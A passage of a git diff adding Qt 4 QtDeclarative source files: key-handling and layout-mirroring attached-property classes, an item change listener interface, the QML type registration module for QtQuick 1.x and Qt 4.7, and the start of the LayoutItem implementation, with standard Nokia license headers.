+ QDeclarativeItem *tab() const;
+ void setTab(QDeclarativeItem *);
+ QDeclarativeItem *backtab() const;
+ void setBacktab(QDeclarativeItem *);
+
+ enum Priority { BeforeItem, AfterItem };
+ Priority priority() const;
+ void setPriority(Priority);
+
+ static QDeclarativeKeyNavigationAttached *qmlAttachedProperties(QObject *);
+
+Q_SIGNALS:
+ void leftChanged();
+ void rightChanged();
+ void upChanged();
+ void downChanged();
+ void tabChanged();
+ void backtabChanged();
+ void priorityChanged();
+
+private:
+ virtual void keyPressed(QKeyEvent *event, bool post);
+ virtual void keyReleased(QKeyEvent *event, bool post);
+ void setFocusNavigation(QDeclarativeItem *currentItem, const char *dir);
+};
+
+class QDeclarativeLayoutMirroringAttached : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(bool enabled READ enabled WRITE setEnabled RESET resetEnabled NOTIFY enabledChanged)
+ Q_PROPERTY(bool childrenInherit READ childrenInherit WRITE setChildrenInherit NOTIFY childrenInheritChanged)
+
+public:
+ explicit QDeclarativeLayoutMirroringAttached(QObject *parent = 0);
+
+ bool enabled() const;
+ void setEnabled(bool);
+ void resetEnabled();
+
+ bool childrenInherit() const;
+ void setChildrenInherit(bool);
+
+ static QDeclarativeLayoutMirroringAttached *qmlAttachedProperties(QObject *);
+Q_SIGNALS:
+ void enabledChanged();
+ void childrenInheritChanged();
+private:
+ friend class QDeclarativeItemPrivate;
+ QDeclarativeItemPrivate *itemPrivate;
+};
+
+class QDeclarativeKeysAttachedPrivate : public QObjectPrivate
+{
+public:
+ QDeclarativeKeysAttachedPrivate()
+ : QObjectPrivate(), inPress(false), inRelease(false)
+ , inIM(false), enabled(true), imeItem(0), item(0)
+ {}
+
+ bool isConnected(const char *signalName);
+
+ QGraphicsItem *finalFocusProxy(QGraphicsItem *item) const
+ {
+ QGraphicsItem *fp;
+ while ((fp = item->focusProxy()))
+ item = fp;
+ return item;
+ }
+
+ //loop detection
+ bool inPress:1;
+ bool inRelease:1;
+ bool inIM:1;
+
+ bool enabled : 1;
+
+ QGraphicsItem *imeItem;
+ QList<QDeclarativeItem *> targets;
+ QDeclarativeItem *item;
+};
+
+class QDeclarativeKeysAttached : public QObject, public QDeclarativeItemKeyFilter
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeKeysAttached)
+
+ Q_PROPERTY(bool enabled READ enabled WRITE setEnabled NOTIFY enabledChanged)
+ Q_PROPERTY(QDeclarativeListProperty<QDeclarativeItem> forwardTo READ forwardTo)
+ Q_PROPERTY(Priority priority READ priority WRITE setPriority NOTIFY priorityChanged)
+
+ Q_ENUMS(Priority)
+
+public:
+ QDeclarativeKeysAttached(QObject *parent=0);
+ ~QDeclarativeKeysAttached();
+
+ bool enabled() const { Q_D(const QDeclarativeKeysAttached); return d->enabled; }
+ void setEnabled(bool enabled) {
+ Q_D(QDeclarativeKeysAttached);
+ if (enabled != d->enabled) {
+ d->enabled = enabled;
+ emit enabledChanged();
+ }
+ }
+
+ enum Priority { BeforeItem, AfterItem};
+ Priority priority() const;
+ void setPriority(Priority);
+
+ QDeclarativeListProperty<QDeclarativeItem> forwardTo() {
+ Q_D(QDeclarativeKeysAttached);
+ return QDeclarativeListProperty<QDeclarativeItem>(this, d->targets);
+ }
+
+ virtual void componentComplete();
+
+ static QDeclarativeKeysAttached *qmlAttachedProperties(QObject *);
+
+Q_SIGNALS:
+ void enabledChanged();
+ void priorityChanged();
+ void pressed(QDeclarativeKeyEvent *event);
+ void released(QDeclarativeKeyEvent *event);
+ void digit0Pressed(QDeclarativeKeyEvent *event);
+ void digit1Pressed(QDeclarativeKeyEvent *event);
+ void digit2Pressed(QDeclarativeKeyEvent *event);
+ void digit3Pressed(QDeclarativeKeyEvent *event);
+ void digit4Pressed(QDeclarativeKeyEvent *event);
+ void digit5Pressed(QDeclarativeKeyEvent *event);
+ void digit6Pressed(QDeclarativeKeyEvent *event);
+ void digit7Pressed(QDeclarativeKeyEvent *event);
+ void digit8Pressed(QDeclarativeKeyEvent *event);
+ void digit9Pressed(QDeclarativeKeyEvent *event);
+
+ void leftPressed(QDeclarativeKeyEvent *event);
+ void rightPressed(QDeclarativeKeyEvent *event);
+ void upPressed(QDeclarativeKeyEvent *event);
+ void downPressed(QDeclarativeKeyEvent *event);
+ void tabPressed(QDeclarativeKeyEvent *event);
+ void backtabPressed(QDeclarativeKeyEvent *event);
+
+ void asteriskPressed(QDeclarativeKeyEvent *event);
+ void numberSignPressed(QDeclarativeKeyEvent *event);
+ void escapePressed(QDeclarativeKeyEvent *event);
+ void returnPressed(QDeclarativeKeyEvent *event);
+ void enterPressed(QDeclarativeKeyEvent *event);
+ void deletePressed(QDeclarativeKeyEvent *event);
+ void spacePressed(QDeclarativeKeyEvent *event);
+ void backPressed(QDeclarativeKeyEvent *event);
+ void cancelPressed(QDeclarativeKeyEvent *event);
+ void selectPressed(QDeclarativeKeyEvent *event);
+ void yesPressed(QDeclarativeKeyEvent *event);
+ void noPressed(QDeclarativeKeyEvent *event);
+ void context1Pressed(QDeclarativeKeyEvent *event);
+ void context2Pressed(QDeclarativeKeyEvent *event);
+ void context3Pressed(QDeclarativeKeyEvent *event);
+ void context4Pressed(QDeclarativeKeyEvent *event);
+ void callPressed(QDeclarativeKeyEvent *event);
+ void hangupPressed(QDeclarativeKeyEvent *event);
+ void flipPressed(QDeclarativeKeyEvent *event);
+ void menuPressed(QDeclarativeKeyEvent *event);
+ void volumeUpPressed(QDeclarativeKeyEvent *event);
+ void volumeDownPressed(QDeclarativeKeyEvent *event);
+
+private:
+ virtual void keyPressed(QKeyEvent *event, bool post);
+ virtual void keyReleased(QKeyEvent *event, bool post);
+ virtual void inputMethodEvent(QInputMethodEvent *, bool post);
+ virtual QVariant inputMethodQuery(Qt::InputMethodQuery query) const;
+
+ const QByteArray keyToSignal(int key) {
+ QByteArray keySignal;
+ if (key >= Qt::Key_0 && key <= Qt::Key_9) {
+ keySignal = "digit0Pressed";
+ keySignal[5] = '0' + (key - Qt::Key_0);
+ } else {
+ int i = 0;
+ while (sigMap[i].key && sigMap[i].key != key)
+ ++i;
+ keySignal = sigMap[i].sig;
+ }
+ return keySignal;
+ }
+
+ struct SigMap {
+ int key;
+ const char *sig;
+ };
+
+ static const SigMap sigMap[];
+};
+
+Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeItemPrivate::ChangeTypes);
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeKeysAttached)
+QML_DECLARE_TYPEINFO(QDeclarativeKeysAttached, QML_HAS_ATTACHED_PROPERTIES)
+QML_DECLARE_TYPE(QDeclarativeKeyNavigationAttached)
+QML_DECLARE_TYPEINFO(QDeclarativeKeyNavigationAttached, QML_HAS_ATTACHED_PROPERTIES)
+QML_DECLARE_TYPE(QDeclarativeLayoutMirroringAttached)
+QML_DECLARE_TYPEINFO(QDeclarativeLayoutMirroringAttached, QML_HAS_ATTACHED_PROPERTIES)
+
+#endif // QDECLARATIVEITEM_P_H
diff --git a/src/declarative/graphicsitems/qdeclarativeitemchangelistener_p.h b/src/declarative/graphicsitems/qdeclarativeitemchangelistener_p.h
new file mode 100644
index 00000000..af0f21f4
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeitemchangelistener_p.h
@@ -0,0 +1,76 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEITEMCHANGELISTENER
+#define QDECLARATIVEITEMCHANGELISTENER
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/qglobal.h>
+
+QT_BEGIN_NAMESPACE
+
+class QRectF;
+class QDeclarativeItem;
+class QDeclarativeAnchorsPrivate;
+class QDeclarativeItemChangeListener
+{
+public:
+ virtual void itemGeometryChanged(QDeclarativeItem *, const QRectF &, const QRectF &) {}
+ virtual void itemSiblingOrderChanged(QDeclarativeItem *) {}
+ virtual void itemVisibilityChanged(QDeclarativeItem *) {}
+ virtual void itemOpacityChanged(QDeclarativeItem *) {}
+ virtual void itemDestroyed(QDeclarativeItem *) {}
+ virtual QDeclarativeAnchorsPrivate *anchorPrivate() { return 0; }
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEITEMCHANGELISTENER
diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
new file mode 100644
index 00000000..e9af7e7d
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
@@ -0,0 +1,261 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeitemsmodule_p.h"
+
+#include <QtGui/qaction.h>
+#include <QtGui/qvalidator.h>
+#include <QtGui/qgraphicseffect.h>
+
+#include "private/qdeclarativeevents_p_p.h"
+#include "private/qdeclarativescalegrid_p_p.h"
+#include "private/qdeclarativeanimatedimage_p.h"
+#include "private/qdeclarativeborderimage_p.h"
+#include "private/qdeclarativepositioners_p.h"
+#include "private/qdeclarativemousearea_p.h"
+#include "private/qdeclarativeflickable_p.h"
+#include "private/qdeclarativeflickable_p_p.h"
+#include "private/qdeclarativeflipable_p.h"
+#include "private/qdeclarativefocuspanel_p.h"
+#include "private/qdeclarativefocusscope_p.h"
+#include "private/qdeclarativegridview_p.h"
+#include "private/qdeclarativeimage_p.h"
+#include "private/qdeclarativeitem_p.h"
+#include "private/qdeclarativelayoutitem_p.h"
+#include "private/qdeclarativelistview_p.h"
+#include "private/qdeclarativeloader_p.h"
+#include "private/qdeclarativemousearea_p.h"
+#include "private/qdeclarativepath_p.h"
+#include "private/qdeclarativepathview_p.h"
+#include "private/qdeclarativerectangle_p.h"
+#include "private/qdeclarativerepeater_p.h"
+#include "private/qdeclarativetranslate_p.h"
+#include "private/qdeclarativetext_p.h"
+#include "private/qdeclarativetextedit_p.h"
+#include "private/qdeclarativetextinput_p.h"
+#include "private/qdeclarativevisualitemmodel_p.h"
+#include "private/qdeclarativegraphicswidget_p.h"
+#ifdef QT_WEBKIT_LIB
+#include "private/qdeclarativewebview_p.h"
+#include "private/qdeclarativewebview_p_p.h"
+#endif
+#include "private/qdeclarativeanchors_p.h"
+#include "private/qdeclarativepincharea_p.h"
+
+static QDeclarativePrivate::AutoParentResult qgraphicsobject_autoParent(QObject *obj, QObject *parent)
+{
+ QGraphicsObject* gobj = qobject_cast<QGraphicsObject*>(obj);
+ if (!gobj)
+ return QDeclarativePrivate::IncompatibleObject;
+
+ QGraphicsObject* gparent = qobject_cast<QGraphicsObject*>(parent);
+ if (!gparent)
+ return QDeclarativePrivate::IncompatibleParent;
+
+ gobj->setParentItem(gparent);
+ return QDeclarativePrivate::Parented;
+}
+
+void QDeclarativeItemModule::defineModule()
+{
+ QDeclarativePrivate::RegisterAutoParent autoparent = { 0, &qgraphicsobject_autoParent };
+ QDeclarativePrivate::qmlregister(QDeclarativePrivate::AutoParentRegistration, &autoparent);
+#ifdef QT_NO_MOVIE
+ qmlRegisterTypeNotAvailable("QtQuick",1,0,"AnimatedImage",
+ qApp->translate("QDeclarativeAnimatedImage","Qt was built without support for QMovie"));
+#else
+ qmlRegisterType<QDeclarativeAnimatedImage>("QtQuick",1,0,"AnimatedImage");
+#endif
+ qmlRegisterType<QDeclarativeBorderImage>("QtQuick",1,0,"BorderImage");
+ qmlRegisterType<QDeclarativeColumn>("QtQuick",1,0,"Column");
+ qmlRegisterType<QDeclarativeDrag>("QtQuick",1,0,"Drag");
+ qmlRegisterType<QDeclarativeFlickable>("QtQuick",1,0,"Flickable");
+ qmlRegisterType<QDeclarativeFlipable>("QtQuick",1,0,"Flipable");
+ qmlRegisterType<QDeclarativeFlow>("QtQuick",1,0,"Flow");
+ qmlRegisterType<QDeclarativeFocusPanel>("QtQuick",1,0,"FocusPanel");
+ qmlRegisterType<QDeclarativeFocusScope>("QtQuick",1,0,"FocusScope");
+ qmlRegisterType<QDeclarativeGradient>("QtQuick",1,0,"Gradient");
+ qmlRegisterType<QDeclarativeGradientStop>("QtQuick",1,0,"GradientStop");
+ qmlRegisterType<QDeclarativeGrid>("QtQuick",1,0,"Grid");
+ qmlRegisterType<QDeclarativeGridView>("QtQuick",1,0,"GridView");
+ qmlRegisterType<QDeclarativeImage>("QtQuick",1,0,"Image");
+ qmlRegisterType<QDeclarativeItem>("QtQuick",1,0,"Item");
+ qmlRegisterType<QDeclarativeLayoutItem>("QtQuick",1,0,"LayoutItem");
+ qmlRegisterType<QDeclarativeListView>("QtQuick",1,0,"ListView");
+ qmlRegisterType<QDeclarativeLoader>("QtQuick",1,0,"Loader");
+ qmlRegisterType<QDeclarativeMouseArea>("QtQuick",1,0,"MouseArea");
+ qmlRegisterType<QDeclarativePath>("QtQuick",1,0,"Path");
+ qmlRegisterType<QDeclarativePathAttribute>("QtQuick",1,0,"PathAttribute");
+ qmlRegisterType<QDeclarativePathCubic>("QtQuick",1,0,"PathCubic");
+ qmlRegisterType<QDeclarativePathLine>("QtQuick",1,0,"PathLine");
+ qmlRegisterType<QDeclarativePathPercent>("QtQuick",1,0,"PathPercent");
+ qmlRegisterType<QDeclarativePathQuad>("QtQuick",1,0,"PathQuad");
+ qmlRegisterType<QDeclarativePathView>("QtQuick",1,0,"PathView");
+#ifndef QT_NO_VALIDATOR
+ qmlRegisterType<QIntValidator>("QtQuick",1,0,"IntValidator");
+ qmlRegisterType<QDoubleValidator>("QtQuick",1,0,"DoubleValidator");
+ qmlRegisterType<QRegExpValidator>("QtQuick",1,0,"RegExpValidator");
+#endif
+ qmlRegisterType<QDeclarativeRectangle>("QtQuick",1,0,"Rectangle");
+ qmlRegisterType<QDeclarativeRepeater>("QtQuick",1,0,"Repeater");
+ qmlRegisterType<QGraphicsRotation>("QtQuick",1,0,"Rotation");
+ qmlRegisterType<QDeclarativeRow>("QtQuick",1,0,"Row");
+ qmlRegisterType<QDeclarativeTranslate>("QtQuick",1,0,"Translate");
+ qmlRegisterType<QGraphicsScale>("QtQuick",1,0,"Scale");
+ qmlRegisterType<QDeclarativeText>("QtQuick",1,0,"Text");
+ qmlRegisterType<QDeclarativeTextEdit>("QtQuick",1,0,"TextEdit");
+#ifndef QT_NO_LINEEDIT
+ qmlRegisterType<QDeclarativeTextInput>("QtQuick",1,0,"TextInput");
+#endif
+ qmlRegisterType<QDeclarativeViewSection>("QtQuick",1,0,"ViewSection");
+ qmlRegisterType<QDeclarativeVisualDataModel>("QtQuick",1,0,"VisualDataModel");
+ qmlRegisterType<QDeclarativeVisualItemModel>("QtQuick",1,0,"VisualItemModel");
+
+ qmlRegisterType<QDeclarativeAnchors>();
+ qmlRegisterType<QDeclarativeKeyEvent>();
+ qmlRegisterType<QDeclarativeMouseEvent>();
+ qmlRegisterType<QGraphicsObject>();
+ qmlRegisterType<QGraphicsWidget>("QtQuick",1,0,"QGraphicsWidget");
+ qmlRegisterExtendedType<QGraphicsWidget,QDeclarativeGraphicsWidget>("QtQuick",1,0,"QGraphicsWidget");
+ qmlRegisterType<QGraphicsTransform>();
+ qmlRegisterType<QDeclarativePathElement>();
+ qmlRegisterType<QDeclarativeCurve>();
+ qmlRegisterType<QDeclarativeScaleGrid>();
+#ifndef QT_NO_VALIDATOR
+ qmlRegisterType<QValidator>();
+#endif
+ qmlRegisterType<QDeclarativeVisualModel>();
+#ifndef QT_NO_ACTION
+ qmlRegisterType<QAction>();
+#endif
+ qmlRegisterType<QDeclarativePen>();
+ qmlRegisterType<QDeclarativeFlickableVisibleArea>();
+#ifndef QT_NO_GRAPHICSEFFECT
+ qmlRegisterType<QGraphicsEffect>();
+#endif
+
+ qmlRegisterUncreatableType<QDeclarativeKeyNavigationAttached>("QtQuick",1,0,"KeyNavigation",QDeclarativeKeyNavigationAttached::tr("KeyNavigation is only available via attached properties"));
+ qmlRegisterUncreatableType<QDeclarativeKeysAttached>("QtQuick",1,0,"Keys",QDeclarativeKeysAttached::tr("Keys is only available via attached properties"));
+
+ // QtQuick 1.1 items
+ qmlRegisterType<QDeclarativePinchArea>("QtQuick",1,1,"PinchArea");
+ qmlRegisterType<QDeclarativePinch>("QtQuick",1,1,"Pinch");
+ qmlRegisterType<QDeclarativePinchEvent>();
+ qmlRegisterType<QDeclarativeItem,1>("QtQuick",1,1,"Item");
+ qmlRegisterType<QDeclarativeMouseArea,1>("QtQuick",1,1,"MouseArea");
+ qmlRegisterType<QDeclarativeFlickable,1>("QtQuick",1,1,"Flickable");
+ qmlRegisterType<QDeclarativeListView,1>("QtQuick",1,1,"ListView");
+ qmlRegisterType<QDeclarativeGridView,1>("QtQuick",1,1,"GridView");
+ qmlRegisterType<QDeclarativeRow,1>("QtQuick",1,1,"Row");
+ qmlRegisterType<QDeclarativeGrid,1>("QtQuick",1,1,"Grid");
+ qmlRegisterType<QDeclarativeFlow,1>("QtQuick",1,1,"Flow");
+ qmlRegisterType<QDeclarativeRepeater,1>("QtQuick",1,1,"Repeater");
+ qmlRegisterType<QDeclarativeText,1>("QtQuick",1,1,"Text");
+ qmlRegisterType<QDeclarativeTextEdit,1>("QtQuick",1,1,"TextEdit");
+#ifndef QT_NO_LINEEDIT
+ qmlRegisterType<QDeclarativeTextInput,1>("QtQuick",1,1,"TextInput");
+#endif
+ qmlRegisterRevision<QDeclarativeImageBase,1>("QtQuick",1,1);
+ qmlRegisterRevision<QDeclarativeImplicitSizeItem,0>("QtQuick",1,0);
+ qmlRegisterRevision<QDeclarativeImplicitSizeItem,1>("QtQuick",1,1);
+ qmlRegisterRevision<QDeclarativeImplicitSizePaintedItem,0>("QtQuick",1,0);
+ qmlRegisterRevision<QDeclarativeImplicitSizePaintedItem,1>("QtQuick",1,1);
+ qmlRegisterUncreatableType<QDeclarativeLayoutMirroringAttached>("QtQuick",1,1,"LayoutMirroring", QDeclarativeLayoutMirroringAttached::tr("LayoutMirroring is only available via attached properties"));
+
+#ifndef QT_NO_IMPORT_QT47_QML
+#ifdef QT_NO_MOVIE
+ qmlRegisterTypeNotAvailable("Qt",4,7,"AnimatedImage",
+ qApp->translate("QDeclarativeAnimatedImage","Qt was built without support for QMovie"));
+#else
+ qmlRegisterType<QDeclarativeAnimatedImage>("Qt",4,7,"AnimatedImage");
+#endif
+ qmlRegisterType<QDeclarativeBorderImage>("Qt",4,7,"BorderImage");
+ qmlRegisterType<QDeclarativeColumn>("Qt",4,7,"Column");
+ qmlRegisterType<QDeclarativeDrag>("Qt",4,7,"Drag");
+ qmlRegisterType<QDeclarativeFlickable>("Qt",4,7,"Flickable");
+ qmlRegisterType<QDeclarativeFlipable>("Qt",4,7,"Flipable");
+ qmlRegisterType<QDeclarativeFlow>("Qt",4,7,"Flow");
+ qmlRegisterType<QDeclarativeFocusPanel>("Qt",4,7,"FocusPanel");
+ qmlRegisterType<QDeclarativeFocusScope>("Qt",4,7,"FocusScope");
+ qmlRegisterType<QDeclarativeGradient>("Qt",4,7,"Gradient");
+ qmlRegisterType<QDeclarativeGradientStop>("Qt",4,7,"GradientStop");
+ qmlRegisterType<QDeclarativeGrid>("Qt",4,7,"Grid");
+ qmlRegisterType<QDeclarativeGridView>("Qt",4,7,"GridView");
+ qmlRegisterType<QDeclarativeImage>("Qt",4,7,"Image");
+ qmlRegisterType<QDeclarativeItem>("Qt",4,7,"Item");
+ qmlRegisterType<QDeclarativeLayoutItem>("Qt",4,7,"LayoutItem");
+ qmlRegisterType<QDeclarativeListView>("Qt",4,7,"ListView");
+ qmlRegisterType<QDeclarativeLoader>("Qt",4,7,"Loader");
+ qmlRegisterType<QDeclarativeMouseArea>("Qt",4,7,"MouseArea");
+ qmlRegisterType<QDeclarativePath>("Qt",4,7,"Path");
+ qmlRegisterType<QDeclarativePathAttribute>("Qt",4,7,"PathAttribute");
+ qmlRegisterType<QDeclarativePathCubic>("Qt",4,7,"PathCubic");
+ qmlRegisterType<QDeclarativePathLine>("Qt",4,7,"PathLine");
+ qmlRegisterType<QDeclarativePathPercent>("Qt",4,7,"PathPercent");
+ qmlRegisterType<QDeclarativePathQuad>("Qt",4,7,"PathQuad");
+ qmlRegisterType<QDeclarativePathView>("Qt",4,7,"PathView");
+#ifndef QT_NO_VALIDATOR
+ qmlRegisterType<QIntValidator>("Qt",4,7,"IntValidator");
+ qmlRegisterType<QDoubleValidator>("Qt",4,7,"DoubleValidator");
+ qmlRegisterType<QRegExpValidator>("Qt",4,7,"RegExpValidator");
+#endif
+ qmlRegisterType<QDeclarativeRectangle>("Qt",4,7,"Rectangle");
+ qmlRegisterType<QDeclarativeRepeater>("Qt",4,7,"Repeater");
+ qmlRegisterType<QGraphicsRotation>("Qt",4,7,"Rotation");
+ qmlRegisterType<QDeclarativeRow>("Qt",4,7,"Row");
+ qmlRegisterType<QDeclarativeTranslate>("Qt",4,7,"Translate");
+ qmlRegisterType<QGraphicsScale>("Qt",4,7,"Scale");
+ qmlRegisterType<QDeclarativeText>("Qt",4,7,"Text");
+ qmlRegisterType<QDeclarativeTextEdit>("Qt",4,7,"TextEdit");
+#ifndef QT_NO_LINEEDIT
+ qmlRegisterType<QDeclarativeTextInput>("Qt",4,7,"TextInput");
+#endif
+ qmlRegisterType<QDeclarativeViewSection>("Qt",4,7,"ViewSection");
+ qmlRegisterType<QDeclarativeVisualDataModel>("Qt",4,7,"VisualDataModel");
+ qmlRegisterType<QDeclarativeVisualItemModel>("Qt",4,7,"VisualItemModel");
+
+ qmlRegisterType<QGraphicsWidget>("Qt",4,7,"QGraphicsWidget");
+ qmlRegisterExtendedType<QGraphicsWidget,QDeclarativeGraphicsWidget>("Qt",4,7,"QGraphicsWidget");
+
+ qmlRegisterUncreatableType<QDeclarativeKeyNavigationAttached>("Qt",4,7,"KeyNavigation",QDeclarativeKeyNavigationAttached::tr("KeyNavigation is only available via attached properties"));
+ qmlRegisterUncreatableType<QDeclarativeKeysAttached>("Qt",4,7,"Keys",QDeclarativeKeysAttached::tr("Keys is only available via attached properties"));
+#endif
+}
diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule_p.h b/src/declarative/graphicsitems/qdeclarativeitemsmodule_p.h
new file mode 100644
index 00000000..9c399d08
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule_p.h
@@ -0,0 +1,63 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEITEMMODULE_H
+#define QDECLARATIVEITEMMODULE_H
+
+#include <qdeclarative.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeItemModule
+{
+public:
+ static void defineModule();
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEITEMMODULE_H
diff --git a/src/declarative/graphicsitems/qdeclarativelayoutitem.cpp b/src/declarative/graphicsitems/qdeclarativelayoutitem.cpp
new file mode 100644
index 00000000..cd0d18df
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativelayoutitem.cpp
@@ -0,0 +1,112 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativelayoutitem_p.h"
+
+#include <QDebug>
+
+#include <limits.h>
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \qmlclass LayoutItem QDeclarativeLayoutItem
+ \ingroup qml-utility-elements
+ \since 4.7
+ \brief The LayoutItem element allows declarative UI elements to be placed inside Qt's Graphics View layouts.
+
+ LayoutItem is a variant of \l Item with additional size hint properties. These properties provide the size hints
+ necessary for items to work in conjunction with Qt \l{Graphics View Framework}{Graphics View} layout classes
+ such as QGraphicsLinearLayout and QGraphicsGridLayout. The Qt layout mechanisms will resize the LayoutItem as appropriate,
+ taking its size hints into account, and you can propagate this to the other elements in your UI via anchors and bindings.
+
+ This is a QGraphicsLayoutItem subclass, and its properties merely expose the QGraphicsLayoutItem functionality to QML.
+
+ The \l{declarative/cppextensions/qgraphicslayouts/layoutitem}{LayoutItem example}
+ demonstrates how a LayoutItem can be used within a \l{Graphics View Framework}{Graphics View}
+ scene.
+*/
+
+/*!
+ \qmlproperty QSizeF LayoutItem::maximumSize
+
+ The maximumSize property can be set to specify the maximum desired size of this LayoutItem
+*/
+
+/*!
+ \qmlproperty QSizeF LayoutItem::minimumSize
+
+ The minimumSize property can be set to specify the minimum desired size of this LayoutItem
+*/
+
+/*!
+ \qmlproperty QSizeF LayoutItem::preferredSize
+
+ The preferredSize property can be set to specify the preferred size of this LayoutItem
+*/
+
+QDeclarativeLayoutItem::QDeclarativeLayoutItem(QDeclarativeItem* parent)
+ : QDeclarativeItem(parent), m_maximumSize(INT_MAX,INT_MAX), m_minimumSize(0,0), m_preferredSize(0,0)
